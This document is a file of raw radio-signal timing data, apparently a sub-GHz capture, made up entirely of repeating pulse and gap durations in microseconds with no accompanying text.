93 -396 329 -134 101 -358 107 -370 93 -382 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3702 131 -358 103 -358 107 -370 329 -140 337 -126 319 -124 369 -98 337 -128 127 -342 355 -140 333 -94 347 -126 121 -372 101 -368 93 -380 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 339 -128 121 -3714 97 -394 103 -358 105 -370 325 -140 335 -94 393 -106 359 -106 343 -102 135 -354 353 -92 363 -106 335 -124 123 -354 139 -334 125 -356 351 -104 141 -362 105 -336 129 -356 93 -372 127 -340 129 -340 347 -122 341 -126 121 -3708 131 -358 101 -358 143 -334 363 -108 335 -128 329 -140 361 -106 341 -100 135 -352 357 -106 345 -104 363 -92 121 -374 101 -368 125 -352 351 -102 141 -364 105 -336 127 -358 93 -390 103 -356 143 -334 363 -106 337 -128 95 -3712 133 -354 101 -396 105 -334 367 -106 337 -128 321 -124 369 -98 337 -128 125 -342 357 -140 333 -94 347 -126 123 -372 101 -368 91 -382 349 -102 141 -362 105 -336 129 -372 103 -362 103 -382 103 -336 353 -140 335 -94 125 -3708 133 -354 101 -396 105 -334 367 -108 335 -130 365 -106 359 -106 343 -102 135 -352 357 -108 345 -102 363 -92 121 -374 101 -368 125 -364 329 -132 103 -358 143 -334 93 -392 103 -360 103 -384 105 -336 353 -140 335 -94 125 -3708 133 -352 103 -394 105 -336 369 -106 337 -128 349 -94 369 -98 337 -128 125 -342 357 -140 333 -94 379 -94 121 -372 101 -368 125 -350 349 -102 141 -362 105 -336 129 -372 103 -362 103 -382 105 -336 353 -138 335 -94 125 -3706 131 -352 135 -360 105 -336 373 -108 337 -128 321 -124 369 -98 337 -128 127 -340 357 -140 335 -94 377 -94 121 -372 101 -368 93 -382 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3708 133 -358 101 -358 143 -334 329 -140 337 -126 329 -140 361 -106 341 -100 135 -352 357 -106 347 -102 363 -94 121 -372 103 -368 125 -364 331 -132 103 -358 105 -370 93 -394 103 -360 103 -382 105 -336 353 -140 333 -94 127 -3708 133 -352 103 -394 105 -336 367 -108 -RAW_Data: 335 -128 351 -94 369 -98 337 -128 125 -374 325 -140 333 -126 317 -126 121 -372 101 -366 93 -384 351 -102 139 -362 105 -336 129 -372 103 -362 103 -380 103 -334 355 -140 333 -126 95 -3734 99 -382 101 -360 105 -372 343 -106 339 -130 351 -94 371 -96 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 347 -124 339 -128 121 -3714 99 -392 103 -358 105 -370 325 -140 337 -94 359 -140 359 -106 343 -100 135 -348 343 -128 337 -128 337 -126 93 -368 137 -360 103 -344 353 -94 123 -372 129 -338 129 -340 127 -340 125 -362 141 -334 365 -108 335 -128 97 -3716 131 -358 101 -358 143 -334 365 -108 335 -128 329 -140 361 -106 341 -102 133 -348 343 -128 337 -128 337 -126 95 -366 137 -360 103 -344 353 -94 123 -372 129 -340 129 -338 129 -340 125 -362 139 -334 367 -106 337 -128 95 -3712 133 -354 101 -394 105 -336 367 -108 337 -128 365 -106 359 -106 343 -102 135 -354 357 -106 345 -102 363 -94 119 -374 101 -368 125 -352 349 -104 141 -362 105 -336 129 -372 103 -362 103 -382 103 -336 353 -140 333 -94 125 -3738 99 -348 137 -360 105 -338 375 -106 337 -128 367 -106 361 -104 343 -102 135 -354 357 -106 345 -102 363 -92 121 -374 101 -368 125 -364 331 -132 103 -358 107 -370 93 -392 103 -360 103 -382 105 -336 353 -140 335 -94 125 -3706 131 -350 137 -360 105 -336 373 -108 337 -128 351 -94 369 -98 337 -128 125 -342 357 -140 333 -94 347 -128 121 -372 101 -366 93 -382 349 -104 141 -362 105 -336 127 -356 93 -372 127 -340 129 -340 347 -124 339 -128 121 -3702 131 -344 127 -340 129 -340 347 -124 339 -128 337 -128 337 -128 337 -124 125 -348 347 -132 331 -124 337 -126 123 -338 131 -366 93 -380 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 339 -128 121 -3706 133 -356 103 -358 141 -334 365 -108 335 -128 329 -140 361 -106 341 -102 135 -352 357 -106 345 -102 363 -94 121 -372 103 -368 125 -364 331 -132 103 -358 107 -370 91 -394 103 -360 103 -382 105 -336 353 -140 333 -94 125 -3710 133 -352 103 -394 105 -334 371 -106 337 -128 331 -140 361 -106 341 -102 135 -354 357 -106 345 -102 363 -92 121 -374 101 -368 125 -364 331 -132 103 -358 107 -370 93 -392 103 -360 103 -382 105 -336 353 -140 335 -94 125 -3734 99 -382 103 -360 105 -370 343 -106 337 -130 353 -94 369 -96 339 -128 125 -342 355 -140 -RAW_Data: 335 -94 379 -94 121 -372 101 -368 91 -384 349 -104 141 -364 103 -336 127 -356 93 -372 127 -340 129 -340 347 -122 341 -126 123 -3712 99 -394 101 -358 107 -368 327 -142 333 -128 327 -140 361 -106 341 -102 135 -354 353 -92 363 -106 335 -124 123 -354 139 -334 127 -354 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 121 -3704 131 -342 129 -338 129 -340 347 -124 341 -126 337 -130 337 -128 337 -124 125 -348 347 -132 331 -124 337 -126 123 -338 133 -366 93 -378 349 -104 141 -362 103 -336 127 -358 93 -370 129 -340 129 -338 349 -124 339 -126 121 -3714 99 -392 103 -358 107 -368 327 -140 335 -126 347 -94 357 -138 357 -106 105 -360 359 -106 345 -104 363 -92 121 -372 101 -370 123 -366 331 -132 101 -358 107 -370 93 -392 103 -360 103 -384 103 -336 355 -140 333 -94 125 -3736 99 -346 127 -372 95 -372 315 -124 343 -126 369 -96 339 -128 337 -124 125 -350 347 -132 331 -124 337 -128 121 -338 133 -366 91 -380 349 -104 141 -362 105 -334 129 -372 103 -362 103 -382 103 -336 353 -140 333 -94 127 -3736 97 -350 137 -360 105 -368 345 -106 337 -130 351 -94 369 -98 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 103 -366 93 -380 351 -104 141 -362 105 -334 129 -354 93 -372 129 -338 129 -340 347 -124 339 -128 121 -3712 99 -392 103 -358 105 -370 327 -140 335 -126 329 -140 361 -106 341 -102 135 -348 343 -128 337 -128 337 -126 93 -368 137 -360 103 -344 353 -94 123 -372 129 -338 129 -340 127 -340 125 -362 139 -336 363 -108 337 -128 97 -3716 131 -356 103 -358 141 -334 365 -108 335 -128 365 -104 361 -106 343 -102 135 -348 343 -126 339 -128 337 -126 93 -360 127 -370 97 -372 315 -124 123 -360 139 -334 127 -354 125 -340 127 -340 129 -340 347 -124 355 -140 105 -3714 101 -378 103 -336 123 -356 357 -92 383 -106 359 -108 337 -128 321 -124 123 -370 353 -106 345 -104 365 -94 139 -340 129 -358 93 -372 349 -132 101 -396 105 -334 127 -352 95 -370 129 -340 127 -340 349 -122 339 -126 123 -3710 99 -394 101 -358 107 -368 327 -140 335 -94 359 -140 359 -106 343 -102 135 -354 351 -94 363 -106 335 -124 123 -354 139 -334 127 -356 349 -104 141 -364 105 -336 127 -356 93 -370 129 -340 129 -340 347 -124 339 -126 121 -3708 131 -356 103 -358 141 -336 365 -108 335 -128 329 -140 361 -106 341 -102 135 -350 357 -106 345 -104 363 -92 121 -374 103 -368 125 -350 351 -104 -RAW_Data: 141 -362 105 -336 127 -358 93 -390 101 -358 107 -370 331 -140 335 -128 95 -3714 131 -354 101 -394 105 -336 367 -108 335 -130 321 -124 369 -98 337 -128 125 -374 325 -140 333 -126 317 -126 121 -372 101 -368 93 -382 319 -134 139 -362 105 -336 127 -358 93 -372 127 -340 129 -340 347 -124 339 -128 121 -3702 131 -342 127 -340 129 -338 347 -124 371 -94 369 -98 337 -126 337 -126 123 -352 345 -134 331 -122 337 -128 121 -338 133 -366 93 -380 349 -102 141 -364 105 -336 127 -356 93 -370 129 -340 129 -338 347 -124 339 -128 121 -3708 131 -358 101 -358 143 -334 363 -108 337 -94 395 -106 361 -106 341 -102 135 -352 359 -106 347 -102 361 -94 121 -370 139 -332 125 -364 331 -98 137 -358 143 -334 93 -392 103 -360 103 -384 103 -336 353 -140 335 -94 125 -3734 97 -384 103 -360 105 -368 345 -106 337 -128 353 -94 369 -98 337 -128 125 -342 357 -140 333 -94 379 -94 123 -372 101 -366 93 -382 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 127 -340 349 -122 339 -128 121 -554388 171 -330 123 -354 125 -338 349 -132 331 -124 337 -126 339 -128 337 -126 127 -350 349 -104 335 -124 339 -128 121 -370 101 -368 91 -380 349 -102 141 -362 105 -336 127 -354 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3702 133 -360 101 -358 107 -338 357 -140 335 -128 327 -138 361 -106 341 -100 135 -352 355 -106 345 -104 361 -94 121 -372 103 -366 93 -396 331 -132 103 -358 105 -370 93 -392 103 -360 103 -382 105 -336 353 -138 335 -94 125 -3708 131 -358 101 -358 107 -370 329 -142 335 -126 329 -140 361 -106 341 -102 133 -350 341 -96 369 -96 369 -96 125 -356 127 -340 129 -338 349 -122 141 -342 135 -334 123 -372 95 -372 95 -372 97 -372 345 -94 391 -104 105 -3704 139 -338 133 -332 123 -360 329 -122 337 -128 337 -128 337 -128 337 -124 123 -348 349 -132 329 -124 337 -126 123 -338 133 -366 91 -380 319 -134 141 -360 105 -336 127 -356 93 -370 129 -340 129 -340 347 -124 337 -128 121 -3704 99 -392 103 -358 105 -370 327 -140 335 -94 359 -138 361 -106 341 -102 135 -350 357 -106 347 -102 363 -92 121 -374 101 -370 91 -396 329 -134 101 -358 107 -368 93 -394 101 -360 103 -382 105 -336 353 -140 333 -94 125 -3708 131 -356 101 -396 105 -334 367 -108 335 -128 319 -124 369 -98 337 -128 125 -344 355 -138 335 -94 345 -126 121 -372 101 -368 93 -380 351 -102 141 -362 105 -336 127 -356 93 -372 129 -338 129 -340 -RAW_Data: 347 -124 337 -128 121 -3712 99 -392 103 -356 105 -368 327 -140 335 -94 357 -140 359 -106 343 -100 135 -352 353 -94 363 -104 337 -124 121 -356 139 -334 125 -354 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 339 -126 121 -3706 131 -340 129 -338 129 -340 347 -124 337 -128 337 -128 337 -128 335 -126 123 -346 349 -132 329 -124 337 -128 121 -338 133 -366 91 -380 349 -104 139 -362 105 -336 127 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3708 99 -392 103 -358 107 -368 325 -140 335 -96 357 -140 361 -104 343 -100 135 -352 353 -92 365 -106 335 -124 123 -352 139 -334 125 -370 331 -134 101 -358 107 -368 93 -394 101 -362 101 -384 103 -336 355 -140 333 -94 139 -3716 97 -358 137 -352 105 -338 355 -140 335 -94 357 -140 359 -106 343 -100 135 -352 357 -106 347 -102 363 -92 121 -374 101 -368 125 -364 331 -132 101 -358 107 -370 93 -392 103 -360 103 -382 105 -336 353 -140 333 -94 125 -3710 133 -354 103 -358 143 -334 331 -142 335 -128 329 -140 359 -106 343 -102 133 -350 343 -96 369 -96 369 -94 125 -358 125 -340 129 -370 315 -124 139 -342 137 -334 123 -372 95 -372 97 -372 95 -372 347 -124 361 -104 103 -3728 105 -368 97 -360 125 -338 349 -132 331 -124 335 -128 337 -130 337 -126 127 -350 351 -102 337 -122 341 -128 121 -370 101 -368 91 -382 351 -102 141 -362 105 -336 127 -356 93 -372 129 -340 129 -338 349 -124 337 -128 121 -3702 131 -340 127 -340 129 -340 347 -124 337 -128 337 -128 337 -128 335 -126 123 -346 349 -132 331 -124 337 -126 123 -338 133 -366 91 -380 349 -102 141 -362 105 -334 127 -358 93 -370 129 -340 129 -338 349 -124 337 -128 121 -3708 99 -392 103 -358 107 -368 327 -140 335 -94 359 -140 359 -106 343 -100 135 -352 353 -94 363 -104 337 -124 121 -356 139 -334 127 -354 351 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3704 131 -356 103 -394 105 -334 365 -108 335 -128 319 -124 369 -98 337 -128 125 -342 355 -140 335 -94 347 -126 121 -372 101 -368 91 -382 351 -102 141 -362 105 -336 127 -356 95 -370 129 -340 129 -338 349 -122 339 -126 121 -3702 131 -342 129 -338 129 -340 347 -124 339 -126 339 -128 337 -128 337 -124 123 -348 347 -132 331 -124 337 -128 121 -338 133 -366 91 -380 349 -104 139 -362 105 -336 127 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3708 99 -392 103 -358 107 -368 -RAW_Data: 327 -140 335 -126 329 -140 359 -108 341 -102 135 -348 341 -128 337 -98 369 -94 125 -362 125 -340 129 -340 347 -122 123 -356 139 -334 125 -356 93 -372 129 -338 129 -340 347 -124 357 -104 141 -3714 103 -342 135 -334 123 -356 327 -124 383 -106 359 -108 337 -128 317 -126 121 -372 351 -106 345 -104 365 -92 139 -342 127 -358 125 -360 327 -122 121 -348 139 -334 125 -356 93 -372 129 -338 129 -340 349 -122 339 -128 121 -3710 99 -392 103 -358 107 -368 327 -140 335 -94 359 -138 361 -106 343 -100 137 -348 343 -96 369 -96 369 -94 125 -364 125 -340 129 -340 347 -122 123 -354 139 -334 127 -354 95 -370 129 -340 129 -338 349 -122 357 -106 139 -3712 103 -342 137 -334 123 -354 359 -92 383 -104 361 -106 339 -128 319 -124 121 -372 353 -106 345 -104 365 -92 139 -342 127 -360 93 -370 349 -132 103 -358 141 -336 93 -384 93 -372 129 -338 129 -340 347 -122 339 -128 121 -3708 131 -360 103 -358 105 -370 325 -142 335 -126 327 -140 361 -106 341 -102 135 -348 341 -128 337 -128 337 -126 95 -360 125 -372 97 -372 315 -122 123 -360 139 -334 127 -354 95 -390 103 -356 107 -370 329 -140 337 -126 95 -3708 131 -346 127 -340 129 -338 347 -124 341 -126 337 -128 339 -128 335 -126 123 -350 347 -132 331 -122 337 -128 121 -340 131 -366 91 -382 327 -126 131 -344 141 -334 93 -396 103 -362 103 -382 105 -336 353 -140 333 -94 125 -3708 131 -352 103 -394 105 -336 369 -106 337 -128 331 -140 361 -106 341 -102 135 -352 353 -92 365 -104 337 -124 121 -356 139 -334 125 -356 349 -104 141 -362 105 -336 129 -372 103 -362 103 -382 103 -336 355 -138 335 -94 125 -3704 131 -344 129 -338 129 -372 315 -124 341 -126 337 -130 337 -128 337 -124 123 -350 347 -132 331 -124 337 -126 123 -338 133 -366 91 -380 349 -104 141 -362 105 -336 127 -356 93 -372 129 -338 129 -340 349 -122 339 -126 121 -3712 99 -392 103 -358 107 -368 327 -140 333 -96 357 -140 361 -106 341 -102 135 -348 343 -128 337 -128 337 -126 93 -362 125 -340 129 -372 315 -122 123 -358 139 -334 127 -356 93 -370 129 -340 129 -340 347 -124 357 -106 139 -3714 103 -340 137 -334 123 -356 327 -124 385 -106 359 -108 337 -96 347 -126 121 -372 353 -104 345 -104 365 -92 139 -342 127 -358 93 -390 327 -124 119 -350 137 -334 127 -356 93 -372 127 -340 129 -340 347 -124 339 -126 123 -3706 131 -358 103 -358 105 -370 331 -140 337 -126 329 -140 361 -104 341 -102 135 -352 -RAW_Data: 357 -106 345 -102 365 -92 121 -372 103 -368 125 -352 349 -104 141 -362 105 -336 127 -358 93 -392 101 -358 107 -368 331 -140 337 -128 95 -3712 131 -342 129 -338 129 -340 349 -122 359 -104 359 -108 337 -126 355 -104 141 -360 329 -126 349 -94 355 -140 103 -354 125 -340 129 -338 349 -124 119 -352 139 -336 125 -358 93 -370 129 -340 129 -340 347 -124 337 -128 121 -3708 131 -360 103 -358 107 -368 327 -142 335 -126 327 -142 359 -106 343 -102 133 -350 341 -128 337 -96 369 -96 125 -362 125 -340 129 -338 349 -122 123 -356 139 -334 127 -356 93 -372 129 -338 129 -340 349 -122 359 -104 139 -3682 137 -340 135 -334 123 -356 327 -124 383 -106 359 -108 337 -126 319 -124 123 -372 351 -106 345 -104 365 -94 139 -340 127 -358 125 -340 349 -132 103 -394 105 -336 125 -352 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3708 131 -360 103 -358 107 -368 327 -142 335 -126 329 -140 359 -106 343 -102 135 -350 353 -94 363 -106 335 -124 123 -354 139 -334 127 -354 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -124 339 -126 121 -3712 99 -392 103 -358 107 -368 327 -140 335 -126 327 -140 361 -106 341 -102 135 -348 343 -126 339 -128 337 -126 93 -360 127 -340 129 -370 317 -122 123 -358 139 -334 127 -354 95 -370 129 -340 129 -338 349 -122 357 -140 105 -3716 103 -340 137 -336 123 -358 327 -122 387 -104 361 -106 337 -96 347 -126 121 -372 351 -106 345 -104 363 -94 139 -340 129 -358 93 -392 325 -124 119 -350 137 -334 127 -356 93 -370 129 -340 127 -340 347 -124 339 -128 121 -3702 131 -344 127 -340 129 -338 349 -122 341 -126 337 -128 337 -128 337 -126 123 -350 347 -132 331 -124 337 -126 123 -338 133 -366 91 -380 349 -104 141 -362 105 -334 129 -356 93 -372 129 -338 129 -340 349 -122 339 -126 123 -3708 131 -360 103 -358 105 -370 327 -140 335 -128 327 -140 361 -104 341 -102 135 -354 353 -92 365 -104 337 -124 123 -354 139 -334 125 -356 351 -102 141 -362 105 -336 129 -372 103 -362 103 -382 105 -336 353 -140 333 -94 125 -3734 97 -382 103 -360 103 -370 345 -106 337 -130 323 -126 369 -96 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -334 127 -356 93 -372 129 -338 129 -340 347 -124 339 -126 123 -3712 131 -360 101 -358 107 -368 329 -140 335 -126 329 -140 359 -106 343 -100 135 -348 341 -128 337 -130 337 -126 93 -358 127 -370 97 -372 -RAW_Data: 317 -122 141 -342 137 -334 123 -374 95 -358 135 -356 105 -368 325 -140 335 -126 95 -3706 131 -346 127 -372 97 -370 317 -122 341 -126 337 -130 337 -128 337 -124 125 -350 347 -132 331 -124 337 -128 121 -338 133 -366 91 -380 351 -102 141 -362 105 -334 129 -356 93 -370 129 -338 129 -340 347 -124 339 -128 121 -3712 99 -394 101 -358 107 -368 327 -140 335 -96 357 -140 361 -106 341 -102 135 -352 353 -92 365 -104 339 -124 121 -354 139 -334 127 -354 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 121 -3706 131 -356 103 -394 105 -334 365 -108 337 -128 317 -126 369 -96 339 -128 125 -342 357 -140 333 -94 347 -126 121 -372 101 -368 93 -380 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 123 -3704 131 -358 101 -358 143 -334 363 -108 337 -128 319 -124 369 -96 337 -128 127 -340 357 -140 335 -92 349 -126 121 -372 101 -368 91 -382 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 127 -340 349 -122 339 -128 121 -3712 99 -392 103 -358 105 -370 327 -140 335 -126 327 -140 361 -106 341 -102 135 -352 353 -94 363 -106 337 -124 121 -356 137 -334 127 -354 351 -104 141 -362 105 -336 129 -356 93 -372 129 -338 129 -340 347 -124 339 -126 123 -3702 131 -342 127 -340 129 -340 347 -124 339 -126 339 -128 337 -128 337 -126 123 -350 347 -132 331 -122 337 -128 121 -340 131 -366 93 -378 351 -104 139 -362 105 -336 129 -356 93 -372 127 -340 129 -340 347 -124 337 -128 121 -3708 133 -358 101 -358 107 -368 329 -142 335 -126 329 -140 361 -106 341 -102 135 -352 357 -108 345 -102 363 -92 121 -374 101 -370 91 -396 331 -132 103 -358 105 -370 93 -394 103 -360 103 -382 105 -336 353 -140 333 -94 127 -3736 99 -348 137 -360 105 -338 375 -106 337 -130 321 -124 369 -98 337 -128 127 -342 355 -140 333 -94 347 -126 121 -372 101 -368 93 -380 351 -104 141 -362 103 -336 129 -358 93 -370 129 -338 129 -340 347 -124 339 -128 121 -3706 131 -358 101 -358 143 -334 365 -106 337 -128 327 -142 359 -106 341 -102 135 -352 357 -106 345 -104 363 -92 121 -374 101 -368 125 -364 331 -134 101 -358 107 -368 93 -394 103 -360 103 -382 105 -336 353 -140 333 -94 127 -3736 97 -348 127 -370 97 -372 315 -122 375 -96 369 -96 337 -128 337 -126 123 -352 347 -132 331 -122 337 -128 121 -370 101 -366 93 -380 349 -104 141 -362 105 -336 127 -356 95 -370 129 -340 -RAW_Data: 129 -340 347 -124 337 -128 121 -3708 131 -360 103 -358 105 -370 327 -142 335 -126 329 -140 359 -106 343 -100 135 -352 357 -106 347 -102 363 -94 121 -372 103 -368 125 -364 331 -132 103 -358 107 -368 93 -394 101 -362 101 -382 105 -336 355 -140 333 -94 125 -3734 97 -380 103 -360 105 -370 345 -106 339 -130 323 -126 369 -96 337 -128 127 -342 357 -140 333 -94 347 -126 121 -372 101 -368 91 -382 351 -102 141 -364 103 -336 129 -356 93 -372 129 -338 129 -340 347 -124 339 -128 121 -3708 131 -358 101 -358 107 -370 329 -142 335 -128 329 -140 361 -106 341 -100 135 -352 357 -106 345 -104 363 -92 121 -374 101 -368 125 -352 351 -102 143 -362 105 -336 127 -358 93 -390 103 -356 107 -370 329 -142 337 -126 95 -3708 131 -346 127 -338 129 -372 315 -124 341 -128 337 -128 337 -128 337 -126 123 -350 347 -132 331 -124 337 -126 123 -370 101 -366 91 -380 351 -102 141 -362 105 -336 127 -358 93 -372 127 -340 129 -340 347 -124 339 -126 123 -3712 99 -394 101 -358 107 -368 327 -140 335 -94 359 -140 359 -106 343 -100 135 -352 353 -92 365 -106 335 -124 123 -354 139 -334 127 -356 349 -104 141 -362 105 -336 129 -356 93 -372 129 -338 131 -338 349 -122 341 -126 121 -3704 131 -354 103 -394 105 -336 367 -106 339 -128 317 -126 369 -96 339 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 91 -382 351 -102 141 -364 105 -336 127 -356 93 -370 129 -340 129 -340 347 -124 339 -126 121 -3708 131 -358 103 -358 105 -370 329 -142 337 -126 329 -140 361 -106 341 -102 135 -352 357 -106 345 -102 363 -94 121 -372 103 -368 125 -364 331 -132 103 -358 105 -370 93 -394 103 -360 103 -382 105 -336 355 -138 335 -94 125 -3740 97 -352 137 -360 103 -338 373 -106 337 -128 321 -124 371 -96 337 -128 127 -342 355 -140 335 -94 347 -126 121 -372 101 -368 91 -382 351 -102 141 -362 105 -336 127 -356 93 -372 129 -338 129 -340 347 -124 339 -128 121 -3710 131 -358 103 -356 107 -370 329 -142 337 -126 329 -140 359 -106 343 -100 135 -352 357 -106 347 -102 363 -92 121 -374 101 -368 125 -364 331 -134 101 -358 107 -370 93 -394 101 -362 101 -382 105 -336 355 -140 333 -94 125 -3740 97 -352 137 -360 105 -336 373 -108 337 -128 319 -126 369 -98 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -380 351 -104 141 -362 105 -334 127 -356 93 -372 129 -338 129 -340 347 -124 339 -128 121 -3708 131 -358 103 -358 -RAW_Data: 107 -370 329 -140 337 -128 329 -140 359 -106 343 -100 135 -352 357 -106 345 -104 363 -94 119 -374 101 -370 91 -386 349 -104 141 -362 105 -336 127 -358 93 -390 103 -358 105 -370 329 -142 337 -126 95 -3708 131 -346 127 -372 95 -372 315 -124 341 -128 337 -128 337 -128 337 -126 123 -352 347 -132 331 -122 337 -128 121 -340 131 -366 93 -380 349 -104 141 -362 105 -334 127 -356 93 -372 129 -338 129 -340 347 -124 339 -128 121 -3704 131 -354 101 -396 103 -336 369 -108 335 -128 321 -124 371 -96 337 -128 127 -342 355 -140 335 -94 347 -126 121 -372 101 -368 93 -380 351 -102 141 -362 105 -336 129 -356 93 -372 127 -340 129 -340 347 -124 339 -126 123 -3702 131 -354 103 -394 105 -336 367 -108 337 -128 319 -124 369 -98 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -366 93 -382 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -124 339 -126 123 -3712 131 -360 101 -358 107 -368 329 -140 335 -128 327 -140 361 -106 341 -102 133 -348 343 -126 337 -130 337 -126 93 -366 137 -360 103 -344 355 -124 91 -374 129 -340 129 -338 129 -340 125 -362 139 -334 367 -108 337 -126 97 -3710 131 -352 137 -360 105 -336 371 -108 337 -128 319 -126 369 -96 339 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -380 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 347 -124 339 -126 123 -3702 131 -344 127 -340 129 -340 347 -122 341 -126 337 -130 337 -128 337 -124 125 -350 347 -132 331 -124 337 -126 123 -338 133 -366 91 -380 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 339 -128 121 -3714 97 -394 103 -358 105 -370 327 -140 335 -126 329 -140 359 -106 343 -102 135 -352 353 -92 365 -104 337 -124 121 -356 139 -334 127 -354 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3704 131 -354 101 -394 105 -336 371 -106 337 -128 321 -124 369 -98 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -382 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3702 131 -344 127 -340 129 -340 347 -122 341 -126 337 -130 337 -128 337 -124 125 -350 347 -132 331 -124 337 -126 121 -340 133 -366 91 -380 349 -104 141 -362 105 -336 127 -372 103 -362 103 -382 103 -336 353 -140 333 -94 127 -3712 131 -354 101 -396 105 -334 369 -106 339 -128 329 -140 361 -104 343 -102 -RAW_Data: 135 -354 357 -106 345 -102 363 -94 121 -372 103 -368 125 -364 331 -132 101 -358 107 -370 93 -382 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3710 131 -360 101 -360 105 -368 329 -140 335 -126 329 -140 361 -106 341 -102 135 -348 343 -128 337 -128 337 -126 93 -368 135 -362 103 -342 353 -124 93 -372 129 -340 129 -338 129 -340 125 -364 139 -334 365 -108 337 -128 95 -3716 131 -356 103 -394 105 -336 365 -106 337 -128 319 -124 371 -96 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 127 -340 347 -124 339 -128 121 -3702 133 -354 101 -396 103 -336 369 -106 337 -128 321 -124 369 -98 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -334 127 -374 103 -360 103 -384 105 -334 353 -140 335 -94 125 -3732 99 -380 103 -360 103 -370 347 -106 339 -130 323 -126 369 -96 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 123 -3710 133 -358 101 -358 107 -370 327 -142 335 -128 327 -140 361 -106 341 -102 135 -346 343 -128 337 -130 337 -126 93 -366 139 -360 103 -342 355 -124 91 -374 129 -340 127 -340 127 -340 125 -364 139 -334 367 -106 337 -128 95 -3712 133 -352 135 -360 105 -336 371 -108 337 -128 319 -126 369 -96 339 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -380 351 -102 141 -364 103 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -128 121 -3702 133 -354 101 -394 105 -336 369 -106 339 -128 317 -126 369 -96 339 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 91 -382 351 -102 141 -364 103 -336 127 -372 105 -360 103 -382 105 -336 353 -140 333 -94 127 -3712 131 -354 101 -396 103 -336 369 -106 337 -128 331 -140 361 -106 341 -102 135 -352 357 -106 345 -104 363 -92 121 -374 101 -370 123 -352 351 -102 141 -364 105 -334 129 -358 93 -390 103 -356 143 -334 363 -108 335 -128 95 -3738 99 -346 127 -372 97 -370 347 -92 375 -94 371 -96 337 -128 337 -126 125 -352 347 -132 331 -122 339 -126 121 -340 131 -368 91 -380 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 127 -340 347 -124 339 -128 121 -3704 131 -344 127 -340 129 -338 349 -122 341 -126 337 -130 337 -128 337 -124 123 -352 347 -132 331 -122 339 -126 121 -340 131 -366 -RAW_Data: 93 -380 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -340 347 -122 341 -126 121 -3710 133 -358 101 -358 107 -370 329 -142 335 -128 329 -140 361 -104 343 -100 135 -352 357 -106 347 -104 361 -94 121 -372 103 -368 125 -352 349 -104 141 -364 103 -336 129 -372 103 -362 103 -382 103 -336 355 -138 335 -94 125 -3734 99 -380 103 -360 103 -370 347 -106 339 -130 323 -124 369 -98 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3714 99 -392 103 -358 105 -370 327 -140 337 -126 327 -140 361 -106 341 -102 135 -350 341 -128 337 -128 337 -126 95 -360 125 -372 97 -372 315 -122 125 -360 139 -334 127 -354 93 -372 127 -340 129 -340 347 -124 339 -128 121 -3708 131 -358 103 -358 141 -334 365 -106 337 -128 329 -140 361 -106 341 -100 135 -352 353 -94 365 -104 337 -124 123 -354 139 -334 125 -356 349 -104 141 -362 105 -336 129 -358 93 -372 127 -340 129 -340 347 -122 341 -126 123 -3708 131 -356 101 -396 105 -334 367 -106 337 -128 319 -124 369 -98 337 -128 125 -342 357 -140 333 -94 347 -126 123 -372 101 -366 93 -382 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -122 341 -126 121 -3704 131 -352 103 -394 105 -336 371 -108 335 -128 321 -126 369 -96 337 -128 127 -342 355 -140 335 -94 349 -126 121 -372 101 -368 91 -382 349 -104 141 -362 105 -336 127 -374 103 -362 101 -382 105 -336 353 -140 335 -92 127 -3730 99 -348 127 -370 97 -372 347 -92 377 -96 369 -96 337 -128 339 -124 125 -350 347 -134 331 -124 337 -126 123 -338 131 -368 91 -380 351 -102 141 -362 105 -336 127 -356 93 -370 129 